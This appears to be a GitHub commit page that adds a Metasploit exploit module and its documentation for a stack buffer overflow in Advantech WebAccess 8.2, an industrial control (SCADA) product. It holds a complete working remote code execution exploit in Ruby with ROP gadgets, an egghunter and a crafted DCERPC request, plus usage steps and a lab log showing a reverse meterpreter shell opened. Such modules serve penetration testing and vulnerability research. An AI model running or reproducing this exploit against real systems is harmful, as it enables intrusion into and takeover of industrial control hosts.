Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #9286, Advantech WebAccess webvrpcs BOF RCE
- Loading branch information
Showing
2 changed files
with
249 additions
and
0 deletions.
There are no files selected for viewing
108 changes: 108 additions & 0 deletions
108
documentation/modules/exploit/windows/scada/advantech_webaccess_webvrpcs_bof.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,108 @@ | ||
## Vulnerable Application | ||
|
||
[Advantech WebAccess <= 8.2](http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170330.exe) | ||
|
||
## Vulnerability Analysis | ||
|
||
The stack overflow happens in sub_10004BC8: | ||
|
||
``` | ||
.text:10004BC8 ; int __cdecl sub_10004BC8(char *Format, char) | ||
.text:10004BC8 sub_10004BC8 proc near ; | ||
.text:10004BC8 ; | ||
.text:10004BC8 | ||
.text:10004BC8 lpWindowName = dword ptr -818h | ||
.text:10004BC8 hWnd = dword ptr -814h | ||
.text:10004BC8 lpClassName = dword ptr -810h | ||
.text:10004BC8 Args = dword ptr -80Ch | ||
.text:10004BC8 lpBaseAddress = dword ptr -808h | ||
.text:10004BC8 hFileMappingObject= dword ptr -804h | ||
.text:10004BC8 Dest = byte ptr -800h | ||
.text:10004BC8 Format = dword ptr 8 | ||
.text:10004BC8 arg_4 = byte ptr 0Ch | ||
.text:10004BC8 | ||
.text:10004BC8 push ebp | ||
.text:10004BC9 mov ebp, esp | ||
.text:10004BCB sub esp, 818h | ||
.text:10004BD1 mov [ebp+lpWindowName], offset aDebugScreen1 ; "Debug Screen1" | ||
.text:10004BDB mov [ebp+lpClassName], offset aDebugwclass1 ; "debugWClass1" | ||
.text:10004BE5 lea eax, [ebp+arg_4] | ||
.text:10004BE8 mov [ebp+Args], eax | ||
.text:10004BEE mov ecx, [ebp+Args] | ||
.text:10004BF4 push ecx ; Args | ||
.text:10004BF5 mov edx, [ebp+Format] | ||
.text:10004BF8 push edx ; Format | ||
.text:10004BF9 lea eax, [ebp+Dest] | ||
.text:10004BFF push eax ; Dest | ||
.text:10004C00 call ds:vsprintf ; overflow | ||
``` | ||
|
||
The corresponding IDL is below: | ||
|
||
``` | ||
[ | ||
uuid(5d2b62aa-ee0a-4a95-91ae-b064fdb471fc), | ||
version(1.0) | ||
] | ||
interface target_interface | ||
{ | ||
/* opcode: 0x01, address: 0x00401260 */ | ||
void sub_401260 ( | ||
[in] handle_t arg_1, | ||
[in] long arg_2, | ||
[in] long arg_3, | ||
[in] long arg_4, | ||
[in][ref][size_is(arg_4)] char * arg_5, | ||
[out][ref] long * arg_6 | ||
); | ||
} | ||
``` | ||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. `use exploits/windows/scada/advantech_webaccess_webvrpcs_bof` | ||
3. `set payload windows/meterpreter/reverse_tcp` | ||
4. `set LHOST XXX.XXX.XXX.XXX` | ||
5. `exploit` | ||
6. **Verify** you get a connect back meterpreter | ||
|
||
|
||
## Options | ||
|
||
None. | ||
|
||
## Scenarios | ||
|
||
``` | ||
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/advantech.rc | ||
[*] Processing scripts/advantech.rc for ERB directives. | ||
resource (scripts/advantech.rc)> use exploit/windows/scada/advantech_webaccess_webvrpcs_bof | ||
resource (scripts/advantech.rc)> set payload windows/meterpreter/reverse_tcp | ||
payload => windows/meterpreter/reverse_tcp | ||
resource (scripts/advantech.rc)> set RHOST 172.16.175.136 | ||
RHOST => 172.16.175.136 | ||
resource (scripts/advantech.rc)> set LHOST 172.16.175.1 | ||
LHOST => 172.16.175.1 | ||
resource (scripts/advantech.rc)> exploit | ||
[*] Started reverse TCP handler on 172.16.175.1:4444 | ||
[*] 172.16.175.136:4592 - Binding to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ... | ||
[*] 172.16.175.136:4592 - Bound to 5d2b62aa-ee0a-4a95-91ae-b064fdb471fc:1.0@ncacn_ip_tcp:172.16.175.136[4592] ... | ||
[+] 172.16.175.136:4592 - Got a handle: 0x01ef2558 | ||
[*] 172.16.175.136:4592 - Trying target Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31... | ||
[*] Sending stage (179779 bytes) to 172.16.175.136 | ||
[*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.136:49206) at 2017-12-11 11:32:15 -0600 | ||
[*] 172.16.175.136:4592 - The DCERPC service did not reply to our request | ||
meterpreter > shell | ||
Process 5208 created. | ||
Channel 1 created. | ||
Microsoft Windows [Version 6.1.7601] | ||
Copyright (c) 2009 Microsoft Corporation. All rights reserved. | ||
C:\WebAccess\Node> | ||
``` |
141 changes: 141 additions & 0 deletions
141
modules/exploits/windows/scada/advantech_webaccess_webvrpcs_bof.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,141 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
|
||
Rank = GoodRanking | ||
|
||
include Msf::Exploit::Remote::DCERPC | ||
include Msf::Exploit::Egghunter | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow', | ||
'Description' => %q{ | ||
This module exploits a stack buffer overflow in Advantech WebAccess 8.2. | ||
By sending a specially crafted DCERPC request, an attacker could overflow | ||
the buffer and execute arbitrary code. | ||
}, | ||
'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'ZDI', '17-938' ], | ||
[ 'CVE', '2017-14016' ], | ||
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ] | ||
], | ||
'Privileged' => true, | ||
'DefaultOptions' => | ||
{ | ||
'EXITFUNC' => 'thread', | ||
}, | ||
'Payload' => | ||
{ | ||
'Space' => 2048, | ||
'BadChars' => "\x00", | ||
}, | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
[ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31', | ||
{ | ||
'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x14 | ||
'Slide' => 0x07048f5b, # retn | ||
'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04 | ||
} | ||
], | ||
], | ||
'DisclosureDate' => 'Nov 02 2017', | ||
'DefaultTarget' => 0)) | ||
register_options([ Opt::RPORT(4592)]) | ||
end | ||
|
||
def create_rop_chain() | ||
|
||
# this target opts into dep | ||
rop_gadgets = | ||
[ | ||
0x020214c6, # POP EAX # RETN [BwKrlAPI.dll] | ||
0x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll] | ||
0x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll] | ||
0x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll] | ||
0x0201a646, # POP EBP # RETN [BwKrlAPI.dll] | ||
0x07024822, # & push esp # ret [BwPAlarm.dll] | ||
0x070442dd, # POP EAX # RETN [BwPAlarm.dll] | ||
0xffffffff, # Value to negate, will become 0x00000001 | ||
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll] | ||
0x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll] | ||
rand_text_alpha(4).unpack('V'), | ||
rand_text_alpha(4).unpack('V'), | ||
rand_text_alpha(4).unpack('V'), | ||
0x02030af7, # POP EAX # RETN [BwKrlAPI.dll] | ||
0xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx) | ||
0x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll] | ||
0x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll] | ||
0x07078df5, # POP EAX # RETN [BwPAlarm.dll] | ||
0xffffffc0, # Value to negate, will become 0x00000040 | ||
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll] | ||
0x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll] | ||
0x0706fe66, # POP EDI # RETN [BwPAlarm.dll] | ||
rand_text_alpha(4).unpack('V'), | ||
rand_text_alpha(4).unpack('V'), | ||
0x0703d825, # RETN (ROP NOP) [BwPAlarm.dll] | ||
0x0202ca65, # POP EAX # RETN [BwKrlAPI.dll] | ||
0x90909090, # nop | ||
0x07048f5a, # PUSHAD # RETN [BwPAlarm.dll] | ||
].flatten.pack("V*") | ||
return rop_gadgets | ||
end | ||
|
||
def exploit | ||
connect | ||
handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) | ||
print_status("Binding to #{handle} ...") | ||
dcerpc_bind(handle) | ||
print_status("Bound to #{handle} ...") | ||
|
||
# send the request to get the handle | ||
resp = dcerpc.call(0x4, [0x02000000].pack('V')) | ||
handle = resp.last(4).unpack('V').first | ||
print_good("Got a handle: 0x%08x" % handle) | ||
egg_options = { :eggtag => "0day" } | ||
egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options) | ||
|
||
# apparently this is called a ret chain | ||
overflow = [target['Slide']].pack('V') | ||
overflow << [target['Slide']].pack('V') | ||
overflow << [target['Slide']].pack('V') | ||
overflow << [target['Slide']].pack('V') | ||
overflow << [target['Slide']].pack('V') | ||
overflow << [target['Slide']].pack('V') | ||
overflow << [target['Jmp']].pack('V') | ||
overflow << [target['Ret']].pack('V') | ||
overflow << [target['Slide']].pack('V') | ||
overflow << [target['Slide']].pack('V') | ||
overflow << [target['Slide']].pack('V') | ||
overflow << [target['Slide']].pack('V') | ||
overflow << [target['Slide']].pack('V') | ||
overflow << [target['Slide']].pack('V') | ||
overflow << create_rop_chain() | ||
overflow << egghunter | ||
overflow << egg | ||
overflow << rand_text_alpha(0x1000-overflow.length) | ||
|
||
# sorry but I dont like msf's ndr class. | ||
sploit = [handle].pack('V') | ||
sploit << [0x000138bd].pack('V') # opcode we are attacking | ||
sploit << [0x00001000].pack('V') # size to copy | ||
sploit << [0x00001000].pack('V') # size of string | ||
sploit << overflow | ||
print_status("Trying target #{target.name}...") | ||
begin | ||
dcerpc_call(0x1, sploit) | ||
rescue Rex::Proto::DCERPC::Exceptions::NoResponse | ||
ensure | ||
disconnect | ||
end | ||
handler | ||
end | ||
end |